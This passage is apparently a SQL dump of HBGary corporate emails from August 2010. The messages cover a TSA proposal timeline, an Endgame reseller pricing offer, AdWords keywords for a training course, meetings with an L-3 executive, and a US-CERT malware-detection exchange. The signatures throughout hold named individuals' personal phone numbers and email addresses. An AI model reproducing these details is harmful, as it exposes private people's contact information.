gave this presentation at the NSA REBL Conference.  Let me know if you don\'t get the attachment, it being a large zip file and all.\r\n\r\n',2350,'aaron_hbgary_com/2350.html'),(9586,'2010-08-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007508.M672875P14101Q4441.eml','\"Barr Aaron\" <aaron@hbgary.com>','GotoTraining','Login and explore the training app:http://www.gotomeeting.comusername:  training@hbgaryfederal.com\r\npassword:  I&#39;ll text it to you.Ted\r\n',5983,'aaron_hbgary_com/5983.html'),(9587,'2010-08-03','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297007509.M726675P14101Q4442.eml','aaron@hbgary.com,aaron@hbgary.com,,','TSA ITSSS Kickoff Timeline and Process','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron-\r\n\r\n&nbsp;\r\n\r\nReally excited to have you on the team! Bill Luti and I will\r\nbe working hard to get you more work share ultimately. \r\n\r\n&nbsp;\r\n\r\nWe&#8217;re conducting the kickoff tomorrow morning 9:30am &#8211;\r\n11:00am in our offices.&nbsp; We were all caught off-guard a bit, so not all\r\nthe teaming members will be there.&nbsp; I think you are up-to-date with Bill\r\non our teaming partner status. \r\n\r\n&nbsp;\r\n\r\nNonetheless, since you are a major content contributor I\r\nwanted to give you the overall schedule in advance, so that we can move out on\r\nour response tomorrow after the meeting.\r\n\r\n&nbsp;\r\n\r\nFor the kickoff here&#8217;s what we&#8217;ll have:\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nProposal outline \r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nProposal info sheet \r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nOverall Proposal Process &nbsp;(attached)\r\n\r\n&nbsp;\r\n\r\nAnd here&#8217;s what we want to accomplish during that 90\r\nmins:\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTeam contact info sheet\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nContent assignments\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPast Performance Template review and Assignments\r\n\r\n4)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFinalize overall timeline/schedule details \r\n\r\n5)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDraft Win Themes\r\n\r\n&nbsp;\r\n\r\nBetween Wed noon and Friday noon, we&#8217;ll all focus on:\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDetailed RFP review as questions are due to government\r\nby Friday Aug 6 at 5pm.\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nStandard content gathering &#8211; Fanguy for DMI and\r\nall large subs\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTechnical Approach draft &#8211; Barr\r\n\r\n4)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nIncumbent capture - Fanguy\r\n\r\n&nbsp;\r\n\r\nWe will compile and submit the questions to the government\r\nat 3pm on Friday.\r\n\r\n&nbsp;\r\n\r\nOver the weekend and thru Tuesday, Aug 10 at noon, we will individually\r\nwrite/compile our sections.\r\n\r\n&nbsp;\r\n\r\nFrom Tuesday noon to Wednesday Aug 11 at noon, the Proposal Team\r\nwill\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCompile the content into the outline.\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCreate 2 color and 5 bw copies for Gold review\r\n\r\n&nbsp;\r\n\r\nThe Pink Team review on 8/11 &nbsp;from noon to 4pm will\r\noutput:\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nContent gaps\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFinal Win Themes\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFinalize graphic concepts\r\n\r\n&nbsp;\r\n\r\nPrior to the Red Team Review on 8/18, we will:\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDraft pricing\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCreate graphics\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFinalize and edit individual content sections.\r\n\r\n4)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFinalize / review past performance submissions.\r\n\r\n&nbsp;\r\n\r\nAll content sections will be sent to the Proposal Team by\r\n8/16 at 5pm, \r\n\r\n&nbsp;\r\n\r\nFrom 8/16 &#8211; 8/18 at noon, they will :\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCompile into proposal outline.\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nConduct a compliance check against the Compliance\r\nMatrix\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCreate 2 color and 5 bw copies for Gold review\r\n\r\n&nbsp;\r\n\r\nThe Red Team Review on 8/18 will create:\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nGap Analysis\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAdditional assignments\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCompliance Matrix \r\n\r\n&nbsp;\r\n\r\nFrom 8/18 &#8211; 8/23, we will:\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFinalize, QA, and approve pricing\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFinalize content\r\n\r\n&nbsp;\r\n\r\nFrom 8/23 at noon to 8/25 at noon, we will\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nConduct technical/style editing\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFine-tune graphics\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCompile into master outline.\r\n\r\n4)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nConduct 3rd person QA review\r\n\r\n5)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCreate 2 color and 5 bw copies for Gold review\r\n\r\n&nbsp;\r\n\r\nThe Gold Team Review is on 8/25, from noon to 3pm.\r\n\r\n&nbsp;\r\n\r\nSubmission is 8/29 at midnight.\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nJohn\r\nFanguy\r\n\r\nVP\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749\r\ncell\r\n\r\n240-223-4800 main\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15385,'aaron_hbgary_com/15385.html'),(9588,'2010-08-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007509.M990185P14101Q4443.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Pricing Proposal','Hi Maria/Aaron,This is what EndGames came back with.  What do you think?Ted---------- Forwarded message ----------From: David Gerulski &lt;dgerulski@endgames.us&gt;\r\nDate: Tue, Aug 3, 2010 at 3:24 PMSubject: Pricing ProposalTo: Ted Vera &lt;ted@hbgary.com&gt;\r\nTed,Your customer has 70,356 IP addresses.  At $18,000 a year, that\r\nis $.26 per IP per year. Another way of looking at it is 70,356 queries times\r\n365 days totals 25,679,940 queries. That works out to be $.0007 or seven-hundredths of a penny per query.  I am interested in building market\r\nshare, and understand Maria&#39;s position on pricing, but we cannot go that low.We need to get pricing on this deal to a bare minimum of\r\n$.001/query (one tenth of one penny per query). Considering your customers\r\nnumber of IP addresses that would be a deal size of $25,679.94.  For this\r\nfirst customer, I would be willing to go $1,995/ month or $23,940. (Please note\r\nthat $.001/query is NOT our long-term price goal. It is floor we will build\r\nfrom.)We are making vast improvements to our notification service. In less\r\nthan a month&#39;s time, it will include a customer portal complete with daily,\r\nweekly, monthly and industry comparison reports. However, today, the customer\r\nwill receive a simple email notification.Other points we need to address before closing the current customer\r\nis a putting together a reseller agreement that sets your discount, payment\r\nmethods, and ability to run additional queries at a vastly reduced price. The\r\nfollowing is my proposal for the agreement.Starting with you ability to run queries; during the Beta period\r\nHBGary ran approximately 1.7 million IP addresses through our API. The good\r\nnews, it looks as if your queries may result in quite a bit of business. The\r\nbad news is, we can&#39;t afford to run queries free of charge.  Endgame is\r\nwilling to set your price per query to $.001 (one-tenth of a penny) for the\r\nremainder of the calendar year. Had we charged for your queries during the Beta\r\nperiod, this would have resulted in a very reasonable bill of $1,700 for the\r\n1.7M addresses.Endgame is offering HBGary twenty-five (25) points on sales. This\r\nfirst sale of $23,940 will result in $5,985 margin to you. As part of your\r\nreseller agreement, we are willing to credit per query charges against margin.This reseller agreement will be a &quot;White Label&quot; HBGary\r\nservice. Your branding will be dominant on notification email and the customer\r\nportal. Some type of additional &quot;powered by&quot; branding will include\r\nour brand, ipTrust.Please review this proposal and let&#39;s schedule a call for tomorrow\r\nat your convenience.Sincerely, \r\nDave\r\n\r\n\r\n\r\n\r\n\r\nDavid GerulskiVP Commercial Sales &amp; Marketingdgerulski@endgames.us\r\n770.906.3283\r\n\r\n',16673,'aaron_hbgary_com/16673.html'),(9589,'2010-08-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007510.M217449P14101Q4444.eml','\"Barr Aaron\" <aaron@hbgary.com>','Training','Send me what you&#39;ve got when you have a sec, I want to work on it tonight.Ted-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n\r\n',1150,'aaron_hbgary_com/1150.html'),(9590,'2010-08-03','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007510.M468956P14101Q4445.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Pricing Proposal','We were not far off.  I think we take there lowest number and still sell it introductory for the first handful of customers.\r\n \r\nObviously, if it works it will be worth a lot of money and the price will depend on competitive offerings.. does End Games know if they have competitors?\r\n \r\n \r\nOn Tue, Aug 3, 2010 at 3:04 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nHi Maria/Aaron, \r\n\r\nThis is what EndGames came back with.  What do you think?\r\n\r\nTed\r\n---------- Forwarded message ----------From: David Gerulski &lt;dgerulski@endgames.us&gt;\r\nDate: Tue, Aug 3, 2010 at 3:24 PMSubject: Pricing ProposalTo: Ted Vera &lt;ted@hbgary.com&gt;\r\n\r\nTed,\r\nYour customer has 70,356 IP addresses.  At $18,000 a year, that is $.26 per IP per year. Another way of looking at it is 70,356 queries times 365 days totals 25,679,940 queries. That works out to be $.0007 or seven-hundredths of a penny per query.  I am interested in building market share, and understand Maria&#39;s position on pricing, but we cannot go that low.\r\n\r\nWe need to get pricing on this deal to a bare minimum of $.001/query (one tenth of one penny per query). Considering your customers number of IP addresses that would be a deal size of $25,679.94.  For this first customer, I would be willing to go $1,995/ month or $23,940. (Please note that $.001/query is NOT our long-term price goal. It is floor we will build from.)\r\n\r\nWe are making vast improvements to our notification service. In less than a month&#39;s time, it will include a customer portal complete with daily, weekly, monthly and industry comparison reports. However, today, the customer will receive a simple email notification.\r\n\r\nOther points we need to address before closing the current customer is a putting together a reseller agreement that sets your discount, payment methods, and ability to run additional queries at a vastly reduced price. The following is my proposal for the agreement.\r\n\r\nStarting with you ability to run queries; during the Beta period HBGary ran approximately 1.7 million IP addresses through our API. The good news, it looks as if your queries may result in quite a bit of business. The bad news is, we can&#39;t afford to run queries free of charge.  Endgame is willing to set your price per query to $.001 (one-tenth of a penny) for the remainder of the calendar year. Had we charged for your queries during the Beta period, this would have resulted in a very reasonable bill of $1,700 for the 1.7M addresses.\r\n\r\nEndgame is offering HBGary twenty-five (25) points on sales. This first sale of $23,940 will result in $5,985 margin to you. As part of your reseller agreement, we are willing to credit per query charges against margin.\r\n\r\nThis reseller agreement will be a &quot;White Label&quot; HBGary service. Your branding will be dominant on notification email and the customer portal. Some type of additional &quot;powered by&quot; branding will include our brand, ipTrust.\r\n\r\nPlease review this proposal and let&#39;s schedule a call for tomorrow at your convenience.\r\nSincerely,\r\n \r\nDave\r\n\r\nDavid GerulskiVP Commercial Sales &amp; Marketingdgerulski@endgames.us\r\n\r\n770.906.3283-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',5179,'aaron_hbgary_com/5179.html'),(9591,'2010-08-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007510.M784681P14101Q4446.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Google Adwords','Once the course is ready, we can use google adwords to drive traffic to our sign-up page.I&#39;m having a hard time putting together a keyword list.  Advertising to only the USA, with a $50 daily budget:\r\nKeywords I used:cyber trainingsecurity traininginformation security trainingsocial network trainingsocial media training\r\ninformation reconnaissance info reconinformation recon\r\nAvg. CPC:$1.86 - $4.55\r\nClicks/day:11 - 16\r\nCost/day:  \r\n$29.72 - $50.00-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',432,'aaron_hbgary_com/432.html'),(9592,'2010-08-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007511.M296399P14101Q4448.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,','Re: Discussions','These are high level exec guys so I should be able to win them over. &nbsp;Their questions will not be difficult. &nbsp;The next step should be technical folks and I would definitely want to bring phil or rich and bob.AaronSent from my iPhoneOn Aug 3, 2010, at 7:14 PM, \"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nOk none of these people were on the call.&nbsp; Do you want to bring\r\nRich in when you go or Phil?&nbsp; Or Bob, he’s really good at talking about the\r\ntechnology and can answer almost all the same questions as an SE. &nbsp;When they\r\nsee what we’ve got they should be impressed.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 03, 2010 8:37 AM\r\nTo: Penny Leavy; Ted Vera; Bob Slapnik\r\nSubject: Fwd: Discussions\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAnything specific u want me to hit?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: alexander.miller@l-3com.com\r\nDate: August 3, 2010 11:32:56 AM EDT\r\nTo: &lt;aaron@hbgary.com&gt;,\r\n\"Hasson, Simone @ STRATIS\" &lt;simone.hasson@l-3com.com&gt;\r\nSubject: RE: Discussions\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, what a pleasure to meet you (again, smile) after so\r\nmany years. You clearly done well for yourself. \r\n\r\nSimone, would you pls set up a meeting with Aaron, Steve Korns and David\r\nGertler and myself in AJ. It will be small capabilities review of HBGARY and\r\nthen a conceptual discussion of what a Cyber Dev and Training Center might\r\nconsist of. \r\n\r\nAaron, I look fwd to seeing you. \r\n\r\nBest, Alex\r\n\r\nRADM Alex Miller USN (Ret)\r\nSVP and General Manager, Intelligence Solutions Business Unit\r\nL-3 STRATIS \"Powered by Excellence\"\r\n2720 Technology Dr.\r\nAnnapolis Junction, MD. 20701\r\n(301) 575-2801&nbsp;Office\r\n(443) 695-1232 Cell\r\n(301) 575-3506 Fax\r\nalexander.miller@l-3com.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: aaron@hbgary.com\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 03, 2010 11:00 AM\r\nTo: Miller, Alexander A @ STRATIS\r\nSubject: Discussions\r\n\r\nAlex,\r\n\r\nVery good to meet with you today. &nbsp;Now I am going to have to go through\r\nall my old photos i think I have a picture of you giving me an award of some\r\nsort. &nbsp;Takes me back. &nbsp;I think i may be a good example of the\r\nenlisted training available in the services.\r\n\r\n\r\nI would like to come in and talk cyber and see if I can provide some\r\nassistance. &nbsp;I have been looking at the national problem for some time so\r\ncertainly know where it\'s broken but i also think we have some ideas on how to\r\nimprove our capabilities.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal LLC\r\n719.510.8478 \r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10146,'aaron_hbgary_com/10146.html'),(9593,'2010-08-03','\"Mark Leary\" <mark.leary@ngc.com>','/aaron@hbgary.com/new/1297007511.M496912P14101Q4449.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Congratulations','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nMark Leary has sent you a message.\r\n\r\n\r\n  Date:\r\n  8/03/2010\r\n\r\n\r\n  Subject:\r\n  RE: Congratulations\r\n\r\n\r\n\r\n  I\'m very afraid.....\r\n\r\n\r\n\r\nOn 08/02/10 6:12 AM, Aaron Barr wrote:\r\n\r\n--------------------\r\n\r\nAnd they need help, my god Steve is developing their architecture for them!\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',8937,'aaron_hbgary_com/8937.html'),(9594,'2010-08-03','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297007511.M69206P14101Q4447.eml','\"Aaron barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','RE: Discussions','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOk none of these people were on the call.  Do you want to bring\r\nRich in when you go or Phil?  Or Bob, he’s really good at talking about the\r\ntechnology and can answer almost all the same questions as an SE.  When they\r\nsee what we’ve got they should be impressed.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 03, 2010 8:37 AM\r\nTo: Penny Leavy; Ted Vera; Bob Slapnik\r\nSubject: Fwd: Discussions\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAnything specific u want me to hit?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: alexander.miller@l-3com.com\r\nDate: August 3, 2010 11:32:56 AM EDT\r\nTo: &lt;aaron@hbgary.com&gt;,\r\n&quot;Hasson, Simone @ STRATIS&quot; &lt;simone.hasson@l-3com.com&gt;\r\nSubject: RE: Discussions\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, what a pleasure to meet you (again, smile) after so\r\nmany years. You clearly done well for yourself. \r\n\r\nSimone, would you pls set up a meeting with Aaron, Steve Korns and David\r\nGertler and myself in AJ. It will be small capabilities review of HBGARY and\r\nthen a conceptual discussion of what a Cyber Dev and Training Center might\r\nconsist of. \r\n\r\nAaron, I look fwd to seeing you. \r\n\r\nBest, Alex\r\n\r\nRADM Alex Miller USN (Ret)\r\nSVP and General Manager, Intelligence Solutions Business Unit\r\nL-3 STRATIS &quot;Powered by Excellence&quot;\r\n2720 Technology Dr.\r\nAnnapolis Junction, MD. 20701\r\n(301) 575-2801&nbsp;Office\r\n(443) 695-1232 Cell\r\n(301) 575-3506 Fax\r\nalexander.miller@l-3com.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: aaron@hbgary.com\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 03, 2010 11:00 AM\r\nTo: Miller, Alexander A @ STRATIS\r\nSubject: Discussions\r\n\r\nAlex,\r\n\r\nVery good to meet with you today. &nbsp;Now I am going to have to go through\r\nall my old photos i think I have a picture of you giving me an award of some\r\nsort. &nbsp;Takes me back. &nbsp;I think i may be a good example of the\r\nenlisted training available in the services.\r\n\r\n\r\nI would like to come in and talk cyber and see if I can provide some\r\nassistance. &nbsp;I have been looking at the national problem for some time so\r\ncertainly know where it\'s broken but i also think we have some ideas on how to\r\nimprove our capabilities.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal LLC\r\n719.510.8478 \r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7054,'aaron_hbgary_com/7054.html'),(9595,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007512.M102922P14101Q4450.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: TSA ITSSS Kickoff Timeline and Process','fun fun... \r\n\r\nBegin forwarded message:\r\n\r\n> From: John Fanguy \r\n> Date: August 3, 2010 6:04:01 PM EDT\r\n> To: \"aaron@hbgary.com\" \r\n> Cc: William Luti , \"William E. Miller\" , \"Scott B. Deutschman\" \r\n> Subject: TSA ITSSS Kickoff Timeline and Process\r\n> \r\n> Aaron-\r\n>  \r\n> Really excited to have you on the team! Bill Luti and I will be working hard to get you more work share ultimately.\r\n>  \r\n> We’re conducting the kickoff tomorrow morning 9:30am – 11:00am in our offices.  We were all caught off-guard a bit, so not all the teaming members will be there.  I think you are up-to-date with Bill on our teaming partner status.\r\n>  \r\n> Nonetheless, since you are a major content contributor I wanted to give you the overall schedule in advance, so that we can move out on our response tomorrow after the meeting.\r\n>  \r\n> For the kickoff here’s what we’ll have:\r\n> 1)      Proposal outline\r\n> 2)      Proposal info sheet\r\n> 3)      Overall Proposal Process  (attached)\r\n>  \r\n> And here’s what we want to accomplish during that 90 mins:\r\n> 1)      Team contact info sheet\r\n> 2)      Content assignments\r\n> 3)      Past Performance Template review and Assignments\r\n> 4)      Finalize overall timeline/schedule details\r\n> 5)      Draft Win Themes\r\n>  \r\n> Between Wed noon and Friday noon, we’ll all focus on:\r\n> 1)      Detailed RFP review as questions are due to government by Friday Aug 6 at 5pm.\r\n> 2)      Standard content gathering – Fanguy for DMI and all large subs\r\n> 3)      Technical Approach draft – Barr\r\n> 4)      Incumbent capture - Fanguy\r\n>  \r\n> We will compile and submit the questions to the government at 3pm on Friday.\r\n>  \r\n> Over the weekend and thru Tuesday, Aug 10 at noon, we will individually write/compile our sections.\r\n>  \r\n> From Tuesday noon to Wednesday Aug 11 at noon, the Proposal Team will\r\n> 1)      Compile the content into the outline.\r\n> 2)      Create 2 color and 5 bw copies for Gold review\r\n>  \r\n> The Pink Team review on 8/11  from noon to 4pm will output:\r\n> 1)      Content gaps\r\n> 2)      Final Win Themes\r\n> 3)      Finalize graphic concepts\r\n>  \r\n> Prior to the Red Team Review on 8/18, we will:\r\n> 1)      Draft pricing\r\n> 2)      Create graphics\r\n> 3)      Finalize and edit individual content sections.\r\n> 4)      Finalize / review past performance submissions.\r\n>  \r\n> All content sections will be sent to the Proposal Team by 8/16 at 5pm,\r\n>  \r\n> From 8/16 – 8/18 at noon, they will :\r\n> 1)      Compile into proposal outline.\r\n> 2)      Conduct a compliance check against the Compliance Matrix\r\n> 3)      Create 2 color and 5 bw copies for Gold review\r\n>  \r\n> The Red Team Review on 8/18 will create:\r\n> 1)      Gap Analysis\r\n> 2)      Additional assignments\r\n> 3)      Compliance Matrix\r\n>  \r\n> From 8/18 – 8/23, we will:\r\n> 1)      Finalize, QA, and approve pricing\r\n> 2)      Finalize content\r\n>  \r\n> From 8/23 at noon to 8/25 at noon, we will\r\n> 1)      Conduct technical/style editing\r\n> 2)      Fine-tune graphics\r\n> 3)      Compile into master outline.\r\n> 4)      Conduct 3rd person QA review\r\n> 5)      Create 2 color and 5 bw copies for Gold review\r\n>  \r\n> The Gold Team Review is on 8/25, from noon to 3pm.\r\n>  \r\n> Submission is 8/29 at midnight.\r\n>  \r\n> -John\r\n>  \r\n> John Fanguy\r\n> VP\r\n> Digital Management, Inc.\r\n> \"Leading Government Transformation\"\r\n> GSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n> --------------------------------------------------\r\n> 6701 Democracy Blvd, Suite 500\r\n> Bethesda, Maryland 20817\r\n> 301-346-6749 cell\r\n> 240-223-4800 main\r\n> \r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5602,'aaron_hbgary_com/5602.html'),(9596,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007528.M442636P14101Q4451.eml','\"Ted Vera\" <ted@hbgary.com>','SM Brief','\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9827,'aaron_hbgary_com/9827.html'),(9597,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007535.M791299P14101Q4452.eml','\"Ted Vera\" <ted@hbgary.com>','Training','\r\n\r\nStill lots of content I need to move over from the briefing.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4302,'aaron_hbgary_com/4302.html'),(9598,'2010-08-04','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297007536.M533402P14101Q4453.eml','\"<Sean.Sobieraj@us-cert.gov>\" <Sean.Sobieraj@us-cert.gov>,\"<Sean.Sobieraj@us-cert.gov>\" <Sean.Sobieraj@us-cert.gov>,','APT + DDNA','Sean,I heard there may be some detection issues with DDNA and APT.  I will make it my mission to analyze and fix any issues.  Can you provide me with more samples?  I have your iass.dll in the hopper.  I&#39;m working with development to get the score raised based on low level things such as the IP hiding mechanism it uses.\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',3196,'aaron_hbgary_com/3196.html'),(9599,'2010-08-04','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297007536.M730557P14101Q4454.eml','\"Aaron barr\" <aaron@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: Discussions','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI am working a 65k node Active Defense deal with L-3 for internal\r\nuse.  I see that Alexander Miller is with L-3.  If and when you get some real\r\ntraction with him I need to know about it so I can use for additional goodwill in\r\nmy sales situation.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 03, 2010 11:37 AM\r\nTo: Penny Leavy; Ted Vera; Bob Slapnik\r\nSubject: Fwd: Discussions\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAnything specific u want me to hit?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: alexander.miller@l-3com.com\r\nDate: August 3, 2010 11:32:56 AM EDT\r\nTo: &lt;aaron@hbgary.com&gt;,\r\n&quot;Hasson, Simone @ STRATIS&quot; &lt;simone.hasson@l-3com.com&gt;\r\nSubject: RE: Discussions\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, what a pleasure to meet you (again, smile) after so\r\nmany years. You clearly done well for yourself. \r\n\r\nSimone, would you pls set up a meeting with Aaron, Steve Korns and David Gertler\r\nand myself in AJ. It will be small capabilities review of HBGARY and then a\r\nconceptual discussion of what a Cyber Dev and Training Center might consist of.\r\n\r\n\r\nAaron, I look fwd to seeing you. \r\n\r\nBest, Alex\r\n\r\nRADM Alex Miller USN (Ret)\r\nSVP and General Manager, Intelligence Solutions Business Unit\r\nL-3 STRATIS &quot;Powered by Excellence&quot;\r\n2720 Technology Dr.\r\nAnnapolis Junction, MD. 20701\r\n(301) 575-2801&nbsp;Office\r\n(443) 695-1232 Cell\r\n(301) 575-3506 